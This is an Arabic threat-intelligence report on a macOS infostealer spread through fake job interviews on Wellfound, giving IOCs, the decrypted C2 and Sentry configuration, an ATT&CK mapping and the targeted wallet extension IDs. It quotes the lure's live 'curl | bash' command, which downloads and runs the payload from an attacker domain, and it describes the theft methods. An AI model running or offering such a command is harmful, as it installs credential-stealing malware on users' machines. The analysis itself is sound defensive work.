HyperHives macOS Infostealer — تحليل تقني كامل

معلومات التهديدات: برنامج استخراج معلومات (infostealer) ثنائي عالمي لنظام macOS مبني بلغة Rust، تم توصيله عبر مسار مقابلة عمل وهمي على Wellfound (المعروفة سابقًا بـ AngelList). قام شخصية المشغل "Felix" من "HyperHive" بإغراء الأهداف لتنفيذ مثبت ضار من macos.hyperhives.net. يوثق هذا المستودع التحليل الثابت الكامل: تم استرداد 571 قيمة تكوين مشفرة، بما في ذلك عناوين C2 وSentry DSN و 276 معرفًا مستهدفًا من إضافات Chrome.
| |
|---|
| SHA-256 العينة | 5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3 |
| نطاق C2 | cloudproxy.link |
| نطاق التوصيل | macos.hyperhives.net |
| منصة الإغراء | Wellfound (المعروفة سابقًا بـ AngelList) |
| شخصية المشغل | "Felix" في "HyperHive" |
| VirusTotal | 9 / 63 كشف |
| التصنيف | كشف عام / حزمة مؤشرات (IOC bundle) |
| آخر تحديث | أبريل 2026 |
المحتويات
حزم معلومات التهديدات
هيكل المستودع```
.
├── README.md # This report
├── iocs.txt # Flat IOC list
├── yara_rules.yar # YARA detection rules
├── sigma_rules.yml # Sigma detection rules
├── stix/
│ └── bundle.json # STIX 2.1 threat-intelligence bundle
├── attack-navigator-layer.json # ATT&CK Navigator layer
├── output/
│ ├── full_decrypted_config.json # Machine-readable decrypted configuration
│ ├── iocs.json # Structured IOC export
│ ├── c2_protocol.txt # C2 protocol field documentation
│ ├── cargo_dependencies.txt # Embedded Rust crate list (97 crates)
│ ├── source_map.txt # Reconstructed source-file layout
│ └── targets.txt # Targeted applications and data paths
├── scripts/
│ ├── decrypt_all.py # Definitive config decryptor (Unicorn emulation)
│ ├── analyze.py # Static analysis driver
│ ├── extract_all.py # String and structure extractor
│ ├── r2_analyze.py # Radare2 analysis automation
│ ├── r2_targeted.py # Targeted R2 analysis for helpers
│ └── validate_repo.py # CI validation script
├── sample/
│ └── README.md # Instructions for sample placement
├── Dockerfile # Analysis container image
├── docker-compose.yml # Air-gapped compose config
├── lab.sh # Helper script for Docker lab
├── SECURITY.md # Safe handling and vulnerability reporting
├── CONTRIBUTING.md # Contribution guidelines
├── CHANGELOG.md # Release history
├── LICENSE # MIT
└── .github/
├── workflows/validate.yml # CI: YARA + Sigma + file checks
├── ISSUE_TEMPLATE/ # Structured issue forms
└── PULL_REQUEST_TEMPLATE.md # PR checklist
---
## بدء سريع
ضع العينة كـ `sample/installer_binary` (راجع [`sample/README.md`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/sample/README.md) للتحقق من التجزئة)، ثم:```bash
docker compose build
docker compose run --rm lab python3 /lab/scripts/decrypt_all.py
يقوم ملف compose بفرض network_mode: none و read_only: true، ويسقط جميع قدرات Linux. راجع SECURITY.md للإرشادات الكاملة حول التعامل.
TL;DR
أدى إعلان وظيفة على Wellfound (المعروفة سابقًا باسم AngelList) إلى سلسلة من رسائل البريد الإلكتروني للهندسة الاجتماعية من شخصية مشغل تدعى "Felix" في "HyperHive". بعد الإطراء على الخلفية التقنية للهدف وتحديد مقابلة وهمية، وجه المهاجم الضحية إلى "مراجعة المنتج" على hyperhives.net وتحديدًا فحص الإعدادات → التشخيص → السجل — كذريعة لتنفيذ:```
curl -s https://macos.hyperhives.net/install | nohup bash &
الحمولة هي **ثنائي عالمي Mach-O بحجم 8.5 ميغابايت** (x86_64 + arm64) مترجم بلغة Rust. التحليل الثابت باستخدام مختبر Docker معزول ومحاكاة CPU لـ **570 روتين مساعد فريد من نوع x86_64** كشف عن **جميع قيم التكوين المشفرة البالغ عددها 571**، مما أظهر:
- **C2:** `cloudproxy.link` — أربعة نقاط نهاية HTTPS
- **Sentry (إسناد التتبع):** DSN كامل مع معرفات المؤسسة/المشروع على `ingest.de.sentry.io`
- **هوية البناء:** مستخدم Cargo `rootr`، اسم الكود `force`، الإصدار `9.12.1`
- **الأهداف:** 276 معرف إضافات Chrome (محافظ العملات الرقمية، مديري كلمات المرور، بيانات اعتماد الشركات)
تتوافق التكتيكات مع حملات **مقابلة معدية المرتبطة بكوريا الشمالية (DPRK)** — مقابلات وظائف وهمية على منصات مشروعة، بناء ثقة متعدد الخطوات، تسليم عبر `curl | bash`، أداة سرقة لـ macOS بلغة Rust، واستخراج بيانات يركز على العملات الرقمية.
---
## 1 — كيف بدأ الأمر
### الطُعم: مقابلة وظيفة وهمية على Wellfound
بدأ الهجوم بـ **إعلان وظيفة شرعي المظهر على Wellfound** (المعروفة سابقًا باسم AngelList). بعد أن تقدم الهدف بطلب، جرت سلسلة البريد الإلكتروني التالية من مشغل يستخدم شخصية **"Felix"** واسم الشركة **"HyperHive"**:
**البريد الإلكتروني 1** (4 أبريل 2026) — الاتصال الأولي. أقر "Felix" بالسيرة الذاتية للهدف وملف LinkedIn الخاص به، وادعى أن "Tech Lead" الخاص بهم وافق على المضي قدمًا، وأشار تحديدًا إلى الخبرة الفنية الحقيقية للهدف. ذكر البريد الإلكتروني أن HyperHive "تبني نسخة سطح المكتب من Hyperhives عبر أنظمة تشغيل مختلفة" ودعا الهدف إلى جدولة مقابلة في UTC+0.
**البريد الإلكتروني 2** (5 أبريل 2026) — متابعة الجدولة. اقترح فتحة مقابلة محددة (8 أبريل الساعة 15:00 UTC) وتضمن تعليمات تسليم الحمولة الحرجة:
> *"إذا كنت قادرًا، فيرجى إلقاء نظرة سريعة على سجل المنتج تحت **Settings → Diagnostics → Log**. قد نطلب بعض التعليقات المختصرة على السجل وأي ملاحظات أخرى على المنتج تلاحظها، حيث أن هذا غالبًا ما يعطي إشارة جيدة على الخبرة الهندسية والاهتمام بالتفاصيل."*
وجه هذا الهدف إلى `https://hyperhives.net`، حيث أن التنقل إلى قسم التشخيص أدى إلى بدء:```
curl -s https://macos.hyperhives.net/install | nohup bash &
ما حدث بعد ذلك
قام الأمر بتنزيل وتنفيذ ملف ثنائي عالمي Mach-O بحجم 8.5 ميجابايت. ظهرت نافذة حوار مزيفة لكلمة مرور macOS عبر AppleScript. لم يتم إدخال كلمة المرور. تم إنهاء العمليات فورًا وتم الاحتفاظ بالعينة للتحليل.
ملخص هندسة الهندسة الاجتماعية
2 — الملف الثنائي
تظهر العينة هندسة على مستوى الإنتاج: إصدار دلالي، وتكامل Sentry للموثوقية التشغيلية، وتكوين كبير مضمن مشفر بـ 570 دالة مساعدة فريدة.
تغطية VirusTotal
التقرير الكامل — 9 من 63 محركًا كشفوها عند التقديم الأولي (أبريل 2026). أكثر من 85% من المحركات فشلت في الإبلاغ عن هذه العينة.
أسماء عائلات البائعين البارزة للإسناد المرجعي: HashBreaker (Kaspersky)، JobStealer (DrWeb)، PSW.Agent.BX (ESET)، Stealer-BU (Avast/AVG).
لم يتم اكتشافها بواسطة: BitDefender، CrowdStrike Falcon، Sophos، Symantec، McAfee، Malwarebytes، TrendMicro، Fortinet، ClamAV، Panda، و44 محركًا آخر. تؤكد هذه النسبة المنخفضة من الكشف الفعالية التشغيلية لنهج Rust + التعتيم المخصص المستخدم في هذه الحملة.
تتغير نسب الكشف مع تحديث البائعين للتوقيعات. تحقق من تقرير VirusTotal للحصول على النتائج الحالية.
3 — ما يسرقه
بيانات المتصفح (المعتمدة على Chromium)
أنواع البيانات المسروقة: كلمات المرور، بطاقات الائتمان، ملفات تعريف الارتباط، رموز الجلسات، الملء التلقائي، سجل التصفح.
بيانات نظام macOS
- سلسلة مفاتيح تسجيل الدخول (
login.keychain-db) — يتطلب كلمة مرور المستخدم التي تم الحصول عليها عبر الحوار المزيف
- ملاحظات Apple (Apple Notes) — تم استخراجها عبر AppleScript/osascript
- معرفات الأجهزة —
IOPlatformExpertDevice / IOPlatformUUID، تم الإبلاغ عنها كـ hardwares إلى C2
الرسائل
- Telegram Desktop — مواد جلسة
tdata للاستيلاء الكامل على الحساب
محافظ العملات الرقمية (188 هدفًا منطقيًا، 276 معرف إضافة)
استهداف شامل لإضافات المتصفح للمحافظ بما في ذلك MetaMask وPhantom وTrust Wallet وRonin وExodus وOKX وBybit وBitget وSubWallet وLedger Live وTrezor Suite. الخريطة الكاملة في القسم 8 وoutput/full_decrypted_config.json.
مديرو كلمات المرور
المراوغة والضوابط التشغيلية
| الميزة | التفاصيل |
|---|
| كشف الآلة الافتراضية | علامة في JSON الخاص بـ C2 |
الاستخراج
يتم تخزين البيانات تحت ~/Documents/temp_data/Application/، وضغطها إلى ZIP، ورفعها عبر multipart/form-data عبر HTTPS. يتم حل عنوان IP الخاص بالضحية وموقعه الجغرافي عبر https://freeipapi.com/api/json.
4 — البنية التحتية المفكوكة لـ C2
القيادة والتحكم
| نقطة النهاية | الدور |
|---|
https://cloudproxy.link/m/opened | منارة / تنشيط |
https://cloudproxy.link/m/metrics |
Sentry DSN (بصمة المشغل)```
https://526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976.ingest.de.sentry.io/4509422649213008
| المكون | القيمة |
|--------|-------|
| **المفتاح العام** | `526eff9f8bb7aafd7117ca5e33a6a183` |
| **معرّف المؤسسة** | `4509139651198976` |
| **معرّف المشروع** | `4509422649213008` |
| **المنطقة** | EU — `ingest.de.sentry.io` |
قد يؤدي التعامل القانوني مع Sentry إلى استعادة تفاصيل تسجيل الحساب وسجلات الفوترة وبيانات الوصول المرتبطة بهذه المؤسسة/المشروع.
### واجهة برمجة تطبيقات تحديد الموقع الجغرافي
`https://freeipapi.com/api/json` — عنوان IP / بلد الضحية لـ C2 JSON (`ipAddress`, `countryCode`).
### بروتوكول تسريب البيانات من C2
| الحقل | الدور |
|-------|-------|
| `buildName` / `buildVersion` | `force` / `9.12.1` |
| `uid`, `log_id` | معرّفات الجلسة/الضحية |
| `ip`, `geo` | من واجهة تحديد الموقع الجغرافي |
| `pers_password` | كلمة مرور الحوار المزيف |
| `passwords`, `wallets`, `credits`, `autofills` | المواد المسروقة |
| `is_vm`, `hardwares`, `force_mode` | علامات البيئة/التحكم |
طريقة الرفع: `multipart/form-data`, `application/zip`, سلسلة الاتصال `UPLD connect`.
---
## 5 — الإسناد
### مؤشرات الاختراق
| المؤشر | القيمة | المصدر |
|--------|--------|--------|
| منصة الإغراء | Wellfound (AngelList) | تقرير الضحية |
| هوية المشغل | "Felix" في "HyperHive" | رسائل الإغراء |
| موقع الإغراء | `hyperhives.net` | رسائل الإغراء |
| البريد الإلكتروني للمُرسِل | `[email protected]` | رسائل الإغراء |
| نطاق التسليم | `macos.hyperhives.net` | تنزيل الحمولة |
| عنوان IP للتسليم | `81.28.12.12` (Gcore CDN) | تحليل DNS |
| المسجل / البريد الإلكتروني | Tucows; Spacemail | WHOIS / MX |
| **نطاق C2** | **`cloudproxy.link`** | **تم فك تشفيره من العينة** |
| **DSN الخاص بـ Sentry** | انظر [القسم 4](#sentry-dsn-operator-fingerprint) | **تم فك تشفيره من العينة** |
| مستخدم البناء | `rootr` | مسارات Cargo المضمنة |
| SHA-256 للعينة | `5c7385c3...bf8dd3` | تجزئة الملف |
### معرّف المطور: `rootr`
المسار المضمن `/Users/rootr/.cargo/registry/`. استخبارات مفتوحة المصدر (OSINT) على المعرّف — [github.com/rootr](https://github.com/rootr) (حتى تاريخ التحليل): الشركة المدرجة "RootR"، الموقع جنيف، تاريخ إنشاء الحساب **2024-06-27**، عدد المستودعات العامة صفر. يتوافق مع ملف تعريف مؤقت أو تشغيلي.
### كوريا الشمالية / المقابلة المعدية (تقييم تحليلي)
| أسلوب وتكتيك وإجراء (TTP) | هذه العينة | النمط المبلغ عنه المرتبط بكوريا الشمالية |
|---------------------------|-------------|------------------------------------------|
| **توظيف مزيف لمنصة شرعية** | منشور على Wellfound (AngelList) → سلسلة بريد إلكتروني مع "Felix" | المقابلة المعدية: تواصل مع مسؤول توظيف مزيف عبر LinkedIn, Indeed, Wellfound |
| **هندسة اجتماعية متعددة الخطوات** | بريدان إلكترونيان أو أكثر يشيران إلى سيرة ذاتية حقيقية، وجدولة مقابلة وهمية | بناء الثقة قبل الحمولة؛ موثق في حملات متعددة لكوريا الشمالية |
| **ذريعة مراجعة المنتج / اختبار الكود** | "تحقق من الإعدادات → التشخيص → السجل" | ذرائع "راجع مشروعنا" / "شغّل اختبار الكود هذا" |
| تسليم `curl \| bash` | سطر تثبيت واحد من `macos.hyperhives.net` | ناقل هندسة اجتماعية شائع لنظام macOS |
| ثنائي عالمي Rust Mach-O | rustc 1.87.0, x86_64 + arm64 | عناقيد RustDoor / RustBucket / ما شابه |
| حوار كلمة مرور مزيف | AppleScript `osascript` | موثق في حملات macOS ذات الصلة |
| مجموعة مستهدفة كبيرة من محافظ العملات المشفرة | 276 معرّف إضافة، 188 اسم محفظة | الدافع المالي يتوافق مع توليد الإيرادات لكوريا الشمالية |
**الثقة:** **عالية** للمواءمة الموضوعية وتوافق TTP. إن خط أنابيب الوظائف المزيفة عبر Wellfound، وسلسلة الثقة متعددة رسائل البريد الإلكتروني، وذريعة مراجعة المنتج، ومُخترق Rust لنظام macOS، والتركيز على محافظ العملات المشفرة يتطابق بشكل وثيق مع دليل اللعب الخاص بالمقابلة المعدية. هذا تقييم تحليلي، وليس بيان إسناد من جهة حكومية أو جهة إنفاذ القانون.
---
## 6 — تحليل التشفير
سلاسل التكوين محمية بواسطة **تشفير XOR مخصص**: 570 دالة مساعدة صغيرة x86_64 (نطاق التعليمات البرمجية `0x10000`–`0x15000`) كل منها يحسب إزاحة فريدة 16 بت من `(data_ptr, seed)`. تقوم الإزاحة بفهرسة الثنائي لإنتاج مفتاح XOR 32 بايت يُطبّق على كتلة النص المشفر المقابلة.
### الطرق التي فشلت
| الطريقة | النتيجة |
|---------|---------|
| عمليات مسح XOR ساذجة | لا يوجد نص واضح متماسك |
| تخمين مفتاح AES / PBKDF2 | لم يتم العثور على جدول مفاتيح |
| محاكاة كاملة للثنائي لوقت تشغيل Rust باستخدام Unicorn | تعقيد تدفق التحكم تسبب في انحراف |
### الطريقة التي نجحت
1. **مسح** تعليمات `LEA` النسبية لـ RIP والتي تستهدف منطقة التكوين (`0x2b8000`–`0x2bc000`).
2. **تحليل** التعليمات البرمجية السابقة لاستخراج `(عنوان الدالة المساعدة، مؤشر البيانات، البذرة)`.
3. **محاكاة** كل مساعد بشكل منفصل باستخدام [محرك Unicorn](https://www.unicorn-engine.org/) (بحد أقصى 200 تعليمة).
4. **فك تشفير XOR** لكتلة 32 بايت في العنوان المستهدف باستخدام المفتاح عند الإزاحة المحسوبة.
5. **تمديد** للسلاسل متعددة الكتل (عناوين URL، DSN) وإدخالات البيانات الوصفية OR+XOR.
**التغطية:** 381 كتلة XOR + 190 إدخال OR+XOR = **571 قيمة تكوين تم استردادها** في 1.1 ثانية. صفر إدخالات مشفرة غير مستردة.
**التنفيذ:** [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py)
---
## 7 — ربط MITRE ATT&CK
> استورد [`attack-navigator-layer.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/attack-navigator-layer.json) في [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) للحصول على عرض تفاعلي.
| الأسلوب | المعرف | الاستخدام في هذه العينة |
|---------|--------|-------------------------|
| التصيد | T1566 | بريد إلكتروني للهندسة الاجتماعية من `[email protected]` |
| تنفيذ المستخدم: ملف ضار | T1204.002 | `curl \| bash` من الإغراء |
| مترجم الأوامر والنصوص: AppleScript | T1059.002 | حوار كلمة مرور مزيف، تسريب Apple Notes |
| مترجم الأوامر والنصوص: غلاف Unix | T1059.004 | التنفيذ الأولي عبر bash الأنبوبي |
| بيانات الاعتماد من مخازن كلمات المرور: سلسلة المفاتيح | T1555.001 | استخراج سلسلة مفاتيح تسجيل الدخول |
| بيانات الاعتماد من مخازن كلمات المرور: بيانات الاعتماد من متصفحات الويب | T1555.003 | فك تشفير بيانات تسجيل الدخول من Chromium |
| سرقة ملف تعريف ارتباط جلسة الويب | T1539 | سرقة ملفات تعريف الارتباط والرموز المميزة للمتصفح |
| البيانات من النظام المحلي | T1005 | المحافظ، Telegram، الملاحظات، الإكمال التلقائي |
| أرشفة البيانات المجمعة | T1560 | التجهيز بصيغة ZIP تحت `~/Documents/temp_data/` |
| التسريب عبر قناة C2 | T1041 | POST عبر HTTPS إلى `cloudproxy.link` |
| بروتوكول طبقة التطبيق: بروتوكولات الويب | T1071.001 | C2 عبر HTTPS مع أربع نقاط نهاية |
| تجنب المحاكاة الافتراضية/الحماية الرملية | T1497 | علامة `is_vm` |
| الملفات أو المعلومات المبهمة | T1027 | 570 دالة XOR مساعدة |
| إدخال الإدخال | T1056 | حوار كلمة مرور مزيف |
| اكتشاف معلومات النظام | T1082 | جمع معرف الأجهزة وإصدار نظام التشغيل |
| اكتشاف تكوين شبكة النظام | T1016 | تحديد الموقع الجغرافي عبر `freeipapi.com` |
| إضعاف ضوابط الثقة: تجاوز Gatekeeper | T1553.001 | `xattr -c` على الثنائي الذي تم تنزيله |
---
## 8 — مرجع المحافظ ومعرفات الإضافات
تم استرداد 188 اسم محفظة و **276** معرّف إضافة Chrome فريد 32 حرفًا. يوضح الجدول التالي الأهداف البارزة؛ القائمة الكاملة موجودة في [الملحق أ](#appendix-a--all-276-chrome-extension-ids) و `output/full_decrypted_config.json`.
| المحفظة | معرّف الإضافة |
|---------|---------------|
| MetaMask | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
| Phantom | `bfnaelmomeimhlpmgjnjophhpkkoljpa` |
| Trust Wallet | `egjidjbpglichdcondbcbdnbeeppgdph` |
| Ronin | `fnjhmkhhmkbjkkabndcnnogagogbneec` |
| Exodus Web3 | `aholpfdialjgjfhomihkjbmgjidlcdno` |
| OKX | `mcohilncbfahbmgdjkbpemcciiolgcge` |
| Bybit | `pdliaogehgdbhbnmkklieghmmjkpigpa` |
| Bitget | `jiidiaalihmmhddjgbnbgdfflelocpak` |
| SubWallet | `onhogfjeacnfoofkfgppdlbmlmnplgbn` |
| Coinbase Wallet | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
**محافظ سطح المكتب:** كما يتم استهداف أدلة بيانات Ledger Live و Trezor Suite.
**هام:** تحدد معرّفات الإضافات هذه **إضافات متصفح مشروعة** تستهدف البرامج الضارة بياناتها المحلية لسرقتها. إنها **ليست** إضافات ضارة.
---
## 9 — الإجراءات الموصى بها
### للضحايا المحتملين
- **لا تقم** بتشغيل سطر واحد غير معروف `curl | bash`
- قم بتدوير جميع بيانات الاعتماد المخزنة في المتصفح، ومفاتيح محفظة العملات المشفرة، وكلمات مرور مدير كلمات المرور إذا تم الكشف عنها
- تحقق من وجود `~/Documents/temp_data/` على القرص
- أبلغ سلطات إنفاذ القانون المحلية وفريق CERT الوطني المختص (مثل IC3، NCSC)
### للمدافعين
- **احظر** `macos.hyperhives.net`، `cloudproxy.link`، و `81.28.12.12` (تحقق من تأثير الاستضافة المشتركة قبل حظر IP)
- **ابحث** عن حركة مرور HTTPS إلى `cloudproxy.link` واستعلامات DNS لكلا النطاقين
- **انشر** قواعد YARA و Sigma من هذا المستودع (اضبط حسب بيئتك)
- **قارن** إضافات Chrome المثبتة بقائمة الـ 276 معرّفًا (الإضافات مشروعة — تقرأ البرامج الضارة بياناتها المحلية)
- **استورد** `stix/bundle.json` في منصة CTI الخاصة بك (MISP، OpenCTI، ThreatConnect، إلخ.)
### للاكتشاف القانوني
| الهدف | ما يجب طلبه |
|-------|-------------|
| Sentry | سجلات الحساب والفواتير للمؤسسة `4509139651198976` |
| مسجلات النطاق | سجلات WHOIS لـ `cloudproxy.link` و `hyperhives.net` |
| شبكة توصيل المحتوى Gcore | سجلات الوصول لـ `81.28.12.12` |
| مزود البريد الإلكتروني | سجلات الحساب لـ `[email protected]` |
| GitHub | بيانات وصفية للحساب لـ `rootr` |
---
## 10 — المنهجية
تم إجراء التحليل داخل **حاوية Docker** مع:
- `network_mode: none` (بدون اتصال خارجي)
- `read_only: true` (نظام ملفات جذر غير قابل للتغيير)
- إسقاط جميع قدرات Linux (`cap_drop: ALL`)
- خيار الأمان `no-new-privileges`
الأدوات: Python (LIEF، Unicorn Engine، Capstone، r2pipe)، Radare2، ونصوص برمجية مخصصة. لم يتم إجراء تنفيذ ديناميكي للبرامج الضارة — جميع النتائج مستمدة من التحليل الثابت والمحاكاة المعزولة لوظائف المساعد الفردية.
التحف المؤكدة: [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py)، [`output/full_decrypted_config.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/output/full_decrypted_config.json).
---
## الملحق أ — جميع معرّفات إضافات Chrome الـ 276
يشير تكوين البرامج الضارة إلى معرّفات الإضافات هذه (مسارات التخزين المحلي / LevelDB ضمن ملفات تعريف المستخدمين). **تحدد هذه المعرّفات إضافات مشروعة مستهدفة لسرقة البيانات، وليست إضافات ضارة.**```
abkahkcbhngaebpcgfmhkoioedceoigp abogmiocnneedmmepnohnhlijcjpcifd
acmacodkjbdgmoleebolmdjonilkdbch aeachknmefphepccionboohckonoeemg
aeblfdkhhhdcdjpifhhbdiojplfjncoa afbcbjpbpfadlkmhmclhkeeodmamcflc
afccgfbnbpgfdokbllhiccepgggofoco aflkmfhebedbjioipglgcbcmnbpgliof
agoakfejjabomempkjlepdflaleeobhb ahkpfejaeoepmfopmbhjgjekibmfcfgo
aholpfdialjgjfhomihkjbmgjidlcdno aiifbnbfobpmeekipheeijimdpnlpgpp
aijcbedoijmgnlmjeegjaglmepbmpkpi ajofhbfomojicfifgoeeimefklkfdkfn
ajopcimklncnhjednieoejhkffdolemp akckefnapafjbpphkefbpkpcamkoaoai
akkmagafhjjjjclaejjomkeccmjhdkpa algblmhagnobbnmakepomicmfljlbehg
amdcajcnofodjpgbbdnnjkffamfnidae amkmjjmmflddogmhpjloimipbofnfjih
ammjlinfekkoockogfhdkgcohjlbhmff anokgmphncpekkhclmingpimjmcooifb
aodkkagnadcbobfpggfnjeongemjbjca aoedbjimepepemdafoodplnknfkmbnle
apgjfbcibghlclbdiipmojppngeilcol bbjmepflljbbfaehppakknfgdnojoled
bccippoanbhflmokhkbkepmhmndijenh bcpialkijhffpgnmgjhjmdeabdbbfmbo
bdgmdoedahdcjmpmifafdhnffjinddgc bfeplaecgkoeckiidkgkmlllfbaeplgm
bflldjbbpcjgooclhpmhdhioebmnnkcm bfnaelmomeimhlpmgjnjophhpkkoljpa
bgjogpoidejdemgoochpnkmdjpocgkha bhhhlbepdkbapadjdnnojkbgioiodbic
bhmbcdekobebkhmloafbjfdcphbmpcnm bidcmgjdfgkagkleecdockomdjlgglbg
bifidjkcdpgfnlbcjpdkdcnbiooooblg blnieiiffboillknjnepogjhkgnoapac
bmkakpenjmcpfhhjadflneinmhboecjf bmmhjnaohafphhlecmkkiaaglcebcapn
bodadjcgfgigmmnambomndppidgdjlni bplepbelihejfpcjoeialhjpamgpnfln
caalbmclnkldkcgcdkfiapoopikbofnl cgeeodpfagjceefieflmdfphplkenlfk
cihmoadaighcejopammfbmddcmdekcje ciojocpkclfflombbcfigcijjcbkmhaf
cjelfplplebdjjenllpjcblmjkfcffne ckklhkaabbmdjkahiaaplikpdddkenic
cmbagcoinhmacpcgmbiniijboejgiahi cmoakldedjfnjofgbbfenefcagmedlga
cnmbailpgmdagpofalkeoeooefdkjfdl cnncmdhjacpkmjmkcafchppbnpnhdmon
cnoepnljjcacmnjnopbhjelpmfokpijm codfcglpplgmmlokgilfkpcjnmkbfiel
cpmkedoipcpimgecpmgpldfpohjplkpp dbgnhckhnppddckangcjbkjnlddbjkna
dcbjpgbkjoomeenajdabiicabjljlnfp dfbacijefbcabjnngipfnbhcpoldlkcg
dkdedlpgdmmkkfjabffeganieamfklkm dlcobpjiigpikoobohmabehhmhfoodbb
dldjpboieedgcmpkchcjcbijingjcgok dmjmllblpcbmniokccdoaiahcdajdjof
dngmlblcodfobpdpecaadgfbcggfjfnm dpcklmdombjcplafheapiblogdlgjjlb
dpdmipjakdiapplcecdmgckknipnfjph dpealdfjgahljjdekeiadjnfgpijffhg
dpmfhilhjlhhakpbieclcghochdofeao eaeecbmeajhliilmacefcgjnnijkkfki
ebaeifdbcjklcmoigppnpkcghndhpbbm ebfidpplhabeedpnhjnobghokpiioolj
efbglgofoippbgcjepnhiblaibcnclgk egjidjbpglichdcondbcbdnbeeppgdph
ehgjhhccekdedpbkifaojjaefeohnoea ehjiblpccbknkgimiflboggcffmpphhp
ejbalbakoplchlghecdalmeeeajnimhm ejbidfepgijlcgahbmbckmnaljagjoll
ejdmhlhkcfbkcoifejkcbonhodkgflgg ejjladinnckdgjemekebdpeokbikhfci
elalghlhoepcjfaedkcmjolahamlnjcp eljobehkpcnpekmbcjiidekjhkbcnpkf
ellkdbaphhldpeajbepobaecooaoafpg emafjfadeeammocialbgjbaeldmpddne
emeeapjkbcbpbpgaagfchmcgglmebnen emgcpdnckldpdhjgmkeeahfaokmhgpab
enabgbdfcbaehmbigakijjabdpdnimlg epapihdplajcdnnkdeiahlgigofloibg
fajmdbbmcncahahilpfdiacamedmgdlk fbplgegfggencanbeceipjpanlmgpkfi
fcckkdbjnoikooededlapcalpionmalo fcfcfllfndlomdhbehjjcoimbgofdncg
fcjkomdnccnlklmhncgmaehaakjkddnk fdchdcpieegfofnofhgdombfckhbcokj
fdcnegogpncmfejlfnffnofpngdiejii fdjamakpfbbddfjaooikfcpapjohcfmg
fhbohimaelbohpjbbldcngcnapndodjp fhilaheimglignddkjgofkcbgekhenbh
fhmmkjofdcpnoklcbcnbjjhigobceikb fihkakfobkmkjojpchpfgcmhfjnmnfpi
fijngjgcjhjmmpcmkeiomlglpeiijkld fjghjobbfggoacelnibacipoilennobn
fldfpgipfncgndfolcbkdeeknbbbnhcc fmpbldieijjehhalgjblbpgjmijencll
fnabdmcgpkkjjegokfcnfbpneacddpfh fnjhmkhhmkbjkkabndcnnogagogbneec
fnnegphlobjdpkhecapkijjdkgcjhkib fopmedgnkfpebgllppeddmmochcookhc
fpibioaihcagphbidhodidjbnclocgll fpkhgmpbidmiogeglndfbkegfdlnajnf
gbjepgaebckfidagpfeioimheabiohmg gdokollfhmnbfckbobkdbakhilldkhcj
gejiddohjgogedgjnonbofjigllpkmbf ghihpcdpbjaaomhlfnhdlocimojkinpm
ghlmndacnhlaekppcllcpcjjjomjkjpg ghmbeldphafepmbegfdlkpapadhbakde
gjlmehlldlphhljhpnlddaodbjjcchai gkeelndblnomfmjnophbhfhcjbcnemka
gkhnjcpkikkkfhhdhhphcbhmkikoicgn gkpbmnplcjdnnmmiaaphofhdiicdhfah
glhefpglgefbmegkpjkdgoikologepdl hbbgbephgojikajhfbomhlmmollphcad
hbdheoebpgogdkagfojahleegjfkhkpl hbinmkhlebcnghpikoekkbeljbealbje
hbneiaclpaaglopiogfdhgccebncnjmc hbnpcbochkgodkmmicbhfpmmkhbfbhim
hddkffjleepiafmkhcneldjipkfkkofk hdokiejnpimakedhajhdlcegeplioahd
heefohaffomkkkphnlpohglngmbcclhi hgbeiipamcgbdjhfflifkgehomnmglgk
hgnpaljkalilofmmbhgkkldbdbogddlo hifafgmccdpekplomjjkcfgodnhcellj
hlbmghfhijdlnllnnnakmcagdfhhkfna hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad hnhobjmcibchnmglfbldbfabcgaknlkj
hpbgcgmiemanfelegbndmhieiigkackl hpclkefagolihohboafpheddmmgdffjm
hpglfhgfnhbgpjdenjgmdgoeiappafln hpjiiechbbhefmpggegmahejiiphbmij
ibjflpbmadchofnbpppegdbnifdgincp ibljocddagjghmlpgihahamcghfggcjc
ibnejdfjmmkpcnlpebklmnkoeoihofec icmkfkmjoklfhlfdkkkgpnpldkgdmhoe
idnnbdplmphpflfnlkomgpfbpcgelopg idpfplgehakelkdadhcacicjjbemjbke
ifckdpamphokdglkkdomedpdegcjhjdp ifclboecfhkjbpmhgehodcjpciihhmif
ifgjklbmlnimhldbmddmkdhoahfocppf ikcpjgihikfinlkobegiiogdigohmfam
ilhaljfiglknggcoegeknjghdgampffk imlcamfeniaidioeflifonfjeeppblda
iokeahhehimjnekafflcihljlcjccdbe jaooiolkmfcmloonphpiiogkfckgciom
jbdaocneiiinmjbjlgalhcelgbejmnid jccapkebeeiajkkdemacblkjhhhboiek
jfdlamikmbghhapbgfoogdffldioobgl jfflgdhkeohhkelibbefdcgjijppkdeb
jhjebgdkdemiibiibgickfkilfpbelaj jhnilbocebbmeelaolalihfokjgdmogb
jicpmdkafljkkppgpellcjhfhdmjpogm jiepnaheligkibgcjgjepjfppgbcghmp
jiidiaalihmmhddjgbnbgdfflelocpak jjkhekbaikcnpnhflnnlnbonkkobkiim
jljjeghmeihjegifdhbghcoihdiegkkl jmgipjhlmabpmcikcahmmgleghckefjg
jnggcdmajcokeakpdeagdhphmkioabem jnldfbidonfeldmalbflbmlebbipcnle
jnlgamecbpmbajjfhmmmlhejkemejdma jojhfeoedkpkglbfimdfabpdfjaoolaf
kdgponmicjmjiejhifbjgembdcaclcib keenhcnmdmjjhincpilijphpiohdppno
kfdniefadaanbjodldohaedphafoffoh kgdijkcfiglijhaglibaidbipiejjfdp
khgocmkkpikpnmmkgmdnfckapcdkgfaf khpkpbbcccdmmclmpigdgddabeilkdpd
kilnpioakcdndlodeeceffgjdpojajlo kjjebdkfeagdoogagbhepmbimaphnfln
kkpehldckknjffeakihjajcjccmcjflh kkpllbgjhchghjapjbinnoddmciocphm
kkpllkodjeloidieedojogacfhpaihoh klghhnkeealcohjjanjjdaeeggmfmlpl
